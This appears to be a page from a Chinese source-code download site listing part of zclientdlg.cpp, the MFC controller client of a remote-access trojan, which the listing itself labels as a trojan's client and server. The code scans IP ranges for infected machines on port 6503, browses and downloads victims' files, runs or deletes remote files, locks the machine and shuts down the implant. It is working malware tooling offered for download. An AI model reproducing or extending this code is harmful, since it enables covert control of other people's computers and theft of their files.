⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zclientdlg.cpp

📁 vc源代码 一个木马的客户端和服务端 要小心啊
💻 CPP
📖 第 1 页 / 共 2 页
字号:

	DownLoadFile();

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;

}

void CZclientDlg::OnRclickListFile(NMHDR* pNMHDR, LRESULT* pResult) 
{
	// TODO: Add your control notification handler code here

	POINT ptMouse;
	POINT ptClientMouse;

	GetCursorPos(&ptMouse);

	ptClientMouse=ptMouse;
	m_List.ScreenToClient(&ptClientMouse);
	int ListSel=m_List.HitTest(ptClientMouse,0);
	if(ListSel==-1)
		return;

	UpdateData(TRUE);

	if(strListIP!=m_IP)
	{
		AfxMessageBox("你改变了对方的IP地址\n需要重新得到驱动器信息");
		OnButtonGettree();
		return;
	}

	CMenu menu;
	VERIFY(menu.LoadMenu(IDR_MENU_FILEOPT));
	CMenu* pPopup = menu.GetSubMenu(0);
	ASSERT(pPopup != NULL);
	pPopup->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, ptMouse.x, ptMouse.y, this);
	*pResult = 0;
}

void CZclientDlg::OnClickTreeDir(NMHDR* pNMHDR, LRESULT* pResult) 
{
	// TODO: Add your control notification handler code here
	BeginWaitCursor();
	POINT ptMouse;
	GetCursorPos(&ptMouse);
	m_Tree.ScreenToClient(&ptMouse);
	HTREEITEM TreeSel=m_Tree.HitTest(ptMouse,0);
	if(!TreeSel)
		return;

	UpdateData(TRUE);

	if(strListIP!=m_IP)
	{
		AfxMessageBox("你改变了对方的IP地址\n需要重新得到驱动器信息");
		OnButtonGettree();
		return;
	}
	ShowStatusDlg();

	HTREEITEM hTreeInst;
	char chrPath[MAX_PATH];

	GetItPath(TreeSel,chrPath);//得到当前展开的路径
	hTreeInst=TreeSel;
	
	strcpy(chrMission,"  \0");//为命令留出空间
	strcat(chrMission,chrPath);//设置好要列出的目录
	chrMission[0]=2;//设置命令
	
	listDirectory(hTreeInst);

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;

	*pResult = 0;
}

void CZclientDlg::OnMenuFileoptRun() 
{
	// TODO: Add your command handler code here
	ShowStatusDlg();
	BeginWaitCursor();
	HTREEITEM hitTree=m_Tree.GetSelectedItem();
	char FullPath[MAX_PATH];
	GetItPath(hitTree,FullPath);
	
	int ListSel=m_List.GetSelectionMark();

	strcat(FullPath,m_List.GetItemText(ListSel,0));

	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	strcat(chrMission,FullPath);//设置好要打开的文件

	chrMission[0]=5;//设置命令

	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
		return;
	}
	
	send(sktClient,chrMission,300,0);
	closesocket(sktClient);
	
	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;



}

void CZclientDlg::DownLoadFile()
{
	//显示对话框
	CFileDialog	Dlg(FALSE);
	if(Dlg.DoModal()!=IDOK)
	{
		return;
	}

	//新建文件


	CFile FileWrite;
	if(!FileWrite.Open (Dlg.GetPathName (),CFile::modeCreate|
		CFile::modeWrite|
		CFile::typeBinary))
	{
		AfxMessageBox("创建文件失败!",MB_OK|MB_ICONERROR);
		return;
	}

	FileWrite.SeekToBegin ();
	
	//连接
	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
		return;
	}
	
	send(sktClient,chrMission,300,0);

	recv(sktClient,chrReceive,300,0);
	if(!strcmp(chrReceive,"FailOpenFile\0"))
	{
		AfxMessageBox("对方无法打开文件,可能文件正在使用",MB_OK|MB_ICONERROR);
		closesocket(sktClient);
		FileWrite.Close ();;
		return;
	}

	_finddata_t pFileInfo;
	recv(sktClient,(char *)&pFileInfo,sizeof(_finddata_t)+1,0);

	BYTE *pBuffer=new BYTE[SENDBLOCK];
	
	memset(pBuffer,0,SENDBLOCK);

	int StopFlag=0xFFFF;
	send(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	for(WORD i=0;i<(pFileInfo.size /SENDBLOCK);i++)
	{
		recv(sktClient,(char*)pBuffer,SENDBLOCK,0);
		FileWrite.Write (pBuffer,SENDBLOCK);
		memset(pBuffer,0,SENDBLOCK);

		send(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	}
	
	DWORD w=pFileInfo.size %SENDBLOCK;
	if(w)
	{
		recv(sktClient,(char*)pBuffer,w,0);

		FileWrite.Write (pBuffer,w);
	}

	FileWrite.Close ();
	closesocket(sktClient);
	
}

void CZclientDlg::OnButtonSearchIP() 
{
	UpdateData(TRUE);
	BeginWaitCursor();
	ShowStatusDlg();
	if(m_SearchIP.GetLength()==0)
	{
		AfxMessageBox("清输入要搜索的IP段");

		pStatusDlg->pDlg = NULL;
		pStatusDlg->EndDialog (0);
		pStatusDlg=0;

		return;
	}
//	pStatusDlg->m_strStatusMsg.Format("准备开始搜索IP段%s",m_SearchIP);
//	pStatusDlg->UpdateData (FALSE);

	m_ListActiveIP.DeleteAllItems();

	int uIP[256];
	
	for(int i=0;i<=255;i++)
	{
		uIP[i]=i;
//		pStatusDlg->m_strStatusMsg .Format("正在搜索%s.%d",m_SearchIP,i);
//		pStatusDlg->UpdateData (FALSE);

		AfxBeginThread(SearchIP,&uIP[i]);
		Sleep(20);
	}
	for(i=5;i>=1;i--)
	{
		Sleep(1000);
//		pStatusDlg->m_strStatusMsg .Format("正在等待数据返回,剩余%d秒",i);
//		pStatusDlg->UpdateData(FALSE);
	}

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;
	EndWaitCursor();


}

UINT SearchIP(LPVOID nParam)
{
	SOCKET skt;
	//create socket

	int ret;

	hostent *host=NULL;
	
	skt=socket(AF_INET,SOCK_STREAM,0);
	if(skt==INVALID_SOCKET)
	{
		closesocket (skt);
		return FALSE;
	}
	//set Recv and Send time out

	int TimeOut=6000; //设置发送超时6秒
	if(::setsockopt(skt,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
	{
		closesocket (skt);
		return FALSE;
	}
	TimeOut=6000;//设置接收超时6秒
	
	if(::setsockopt(skt,SOL_SOCKET,SO_RCVTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
	{
		closesocket (skt);
		return FALSE;
	}
	//设置非阻塞方式连接
	unsigned long ul = 1;
	ret = ioctlsocket(skt, FIONBIO, (unsigned long*)&ul);
	if(ret==SOCKET_ERROR)
	{
		closesocket (skt);
		return FALSE;
	}
	
	//连接
	CString strSearchIP,strTmp;
	strTmp.Format ("%d",*(int *)nParam);
	strSearchIP.Format("%s.%s",pDlg->m_SearchIP,strTmp);

	struct sockaddr_in sockaddrin;
	sockaddrin.sin_family = AF_INET;
	sockaddrin.sin_port = htons(6503);
	sockaddrin.sin_addr .s_addr = inet_addr(strSearchIP);

	if(sockaddrin.sin_addr.s_addr == INADDR_NONE)
	{
		closesocket (skt);
		return FALSE;
	}
	
	connect(skt,(const struct sockaddr *)&sockaddrin,sizeof(sockaddrin));
	
	//select 模型,即设置超时
	struct timeval timeout ;
	fd_set r;
	
	FD_ZERO(&r);
	FD_SET(skt, &r);

	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	timeout.tv_sec = 15;//连接超时15秒
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////

	timeout.tv_usec =0;
	ret = select(0, 0, &r, 0, &timeout);
	if ( ret <= 0 )
	{
		closesocket(skt);
		return FALSE;
	}
	//一般非锁定模式套接比较难控制,可以根据实际情况考虑 再设回阻塞模式
	unsigned long ul1= 0 ;
	ret = ioctlsocket(skt, FIONBIO, (unsigned long*)&ul1);
	if(ret==SOCKET_ERROR)
	{
		closesocket (skt);
		return FALSE;
	}

	//确认是Zserver
	char cFlag[8]="zserve\0";
	send(skt,cFlag,8,0);//发送client端标志
	
	recv(skt,cFlag,8,0);//接收server端标志

	if(strcmp(cFlag,"zserve\0"))
	{
		closesocket (skt);
		return FALSE;
	}

	char chrM[300],chrR[300];

	strcpy(chrM,"  \0");//为命令留出一位(见readme文件)
	chrM[0]=127;//设置命令

	send(skt,chrM,300,0);

	recv(skt,chrR,300,0);
		
	if(strcmp(chrR,"连接成功"))
	{
		closesocket (skt);
		return FALSE;
	}

	pDlg->m_ListActiveIP .InsertItem(0,strSearchIP );

	closesocket(skt);

	return TRUE;

}

void CZclientDlg::OnClickListActiveip(NMHDR* pNMHDR, LRESULT* pResult) 
{
	// TODO: Add your control notification handler code here
	
	POINT ptMouse;
	POINT ptClientMouse;

	GetCursorPos(&ptMouse);

	ptClientMouse=ptMouse;
	m_ListActiveIP.ScreenToClient(&ptClientMouse);
	int ListSel=m_ListActiveIP.HitTest(ptClientMouse,0);
	if(ListSel==-1)
		return;

	m_IP=m_ListActiveIP.GetItemText(ListSel,0);
	m_Port=6503;
	UpdateData(FALSE);
	
	m_List.DeleteAllItems();
	m_Tree.DeleteAllItems();

	*pResult = 0;
}

void CZclientDlg::OnButtonLock() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);
	BeginWaitCursor();
	ShowStatusDlg();
	pStatusDlg->m_strStatusMsg ="正在连接";
	pStatusDlg->UpdateData(FALSE);

	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	chrMission[0]=7;//设置命令

	if(!ConnectSocket())
	{
		EndWaitCursor();
		AfxMessageBox("无法连接");
		pStatusDlg->pDlg = NULL;
		pStatusDlg->EndDialog (0);
		pStatusDlg=0;

		return;
	}
	pStatusDlg->m_strStatusMsg ="发送命令";
	pStatusDlg->UpdateData(FALSE);
	
	send(sktClient,chrMission,300,0);

	closesocket(sktClient);

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;
	EndWaitCursor();
}

void CZclientDlg::OnButtonUnlock() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);
	BeginWaitCursor();
	ShowStatusDlg();

	pStatusDlg->m_strStatusMsg ="正在连接";
	pStatusDlg->UpdateData(FALSE);

	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	chrMission[0]=8;//设置命令

	if(!ConnectSocket())
	{
		EndWaitCursor();
		AfxMessageBox("无法连接");
		pStatusDlg->pDlg = NULL;
		pStatusDlg->EndDialog (0);
		pStatusDlg=0;

		return;
	}
	EndWaitCursor();

	pStatusDlg->m_strStatusMsg ="发送命令";
	pStatusDlg->UpdateData(FALSE);

	send(sktClient,chrMission,300,0);
	EndWaitCursor();

	closesocket(sktClient);

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;

}

void CZclientDlg::OnButtonSendmessage() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);

	if(m_IP.GetLength()==0)
	{
		AfxMessageBox("清输入IP地址");
		return;
	}

	CSendDlg dlg;
	pSendDlg = &dlg;
	pSendDlg->pDlg = this;
	int nResponse = dlg.DoModal();

}

void CZclientDlg::OnMenuFileoptDelfile() 
{
	// TODO: Add your command handler code here
	ShowStatusDlg();
	BeginWaitCursor();
	HTREEITEM hitTree=m_Tree.GetSelectedItem();
	char FullPath[MAX_PATH];
	GetItPath(hitTree,FullPath);
	
	int ListSel=m_List.GetSelectionMark();

	strcat(FullPath,m_List.GetItemText(ListSel,0));

	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	strcat(chrMission,FullPath);//设置好要打开的文件

	chrMission[0]=10;//设置命令
	pStatusDlg->m_strStatusMsg ="正在连接";
	pStatusDlg->UpdateData (FALSE);

	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
	
		pStatusDlg->pDlg = NULL;
		pStatusDlg->EndDialog (0);
		pStatusDlg=0;

		return;
	}
	pStatusDlg->m_strStatusMsg ="发送命令";
	pStatusDlg->UpdateData (FALSE);

	send(sktClient,chrMission,300,0);
	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;

}

void CAboutDlg::OnButtonMail() 
{
	// TODO: Add your control notification handler code here
	ShellExecute(0,0,"mailto:zant_etsu@hotmail.com",0,0,SW_SHOWNORMAL);

}


void CZclientDlg::OnButtonRexit() 
{
	// TODO: Add your control notification handler code here
	BeginWaitCursor();
	UpdateData(TRUE);
	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	chrMission[0]=11;//设置命令


	if(!ConnectSocket())
	{

		AfxMessageBox("无法连接");
		EndWaitCursor();
		return;
	}

	send(sktClient,chrMission,300,0);
	closesocket(sktClient);

	EndWaitCursor();
	
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -